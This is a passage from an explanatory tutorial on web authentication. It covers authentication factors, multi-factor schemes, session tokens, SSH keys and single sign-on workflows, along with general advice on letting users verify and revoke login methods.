Usernames and passwords aren't the only form of authentication, however. Authentication falls into three basic categories of proof. There is what which you have, such as a passport, a debit card, or a key fob. The second category is that which you know, like your password, your middle name, or your date of birth. Finally, there is that which is inherent to you. This is a bit difficult to explain, but these are the factors which are yours purely by the fact that you are yourself; they tend to be difficult to lose and difficult to give to others. They include things like your retina, a fingerprint, and your DNA. This last category is particularly difficult to verify remotely (as is the case with web applications) so we tend to focus on the first two.
If you've heard of two-factor of multi-factor authentication, it specifically refers to any authentication mechanism which requires evidence from two or more categories. For example, Google provides two factor authentication where they send a message to your phone (that which you have) which you must enter in addition to your password (that which you know.) Multi-factor authentication is a very good idea and is used for the most sensitive of data. For example, ATM transactions require your card (something you have) and your pin (something you know.) The more forms of evidence someone can provide, the more assured you can be that they are who they claim to be. It's best not to get carried away, but surely you can imagine situations in which a password alone is not the best option.
Going back a bit, what alternatives do we have to the traditional username/password schemes? Let's consider what happens when a user logs in. The server generates a random session token which it then provides to your browser as a cookie; in all subsequent correspondences during this session, the browser will provide the session token back to the server. Effectively, the this interaction has converted that which you know (your password) into that which you have (your token.) Note that it's essential that that token be randomly generated and be relatively long to prevent any others from guessing the token during its lifetime. SSH keys fit a similar role, but they do not expire. To account for this, most SSH keys are very, very long.
An alternative to handling the authentication purely on your side is to effectively offload this work onto others. Single sign-on systems, such as oauth, openid, and facebook connect provide a relatively sane workflow for signing in users. Though the specifics vary with each system, the basic workflow is pretty similar. When a user wishes to login via a third party, your server needs to generate a unique identifier for that request. The identifier is then provided to the browser, which then allows the user to log in to the third party. During the login process, the user provides this identifier to the third party. At the end of the login process, the third party either sends a message to your web service or redirects the user to your website. In either case, your unique identifier is repeated and a new token is provided. This token can then be used by your service to get some information about the user and to verify that the token originated from the right third party.
That may sound like a lot of work (in practice, it's not too difficult), but allowing users to sign up through a third party makes both business and security sense. From the security perspective, allowing users to sign in through a third party limits your liability with regards to their login credentials; these services will also generally have a better security system than can be implemented by smaller groups of developers.
One note on providing multiple methods for authentication. Be sure to provide a mechanism for users to "verify" authentication methods and to remove them as they feel fit. I wouldn't trust a third party with the ability to log in to my bank account, for example, so I'd want to remove any authentication mechanisms that might lead to that. Similarly, allow users to revoke authentication privileges as needed. I may have just ended by ISP contract and would prefer my old IP have special status.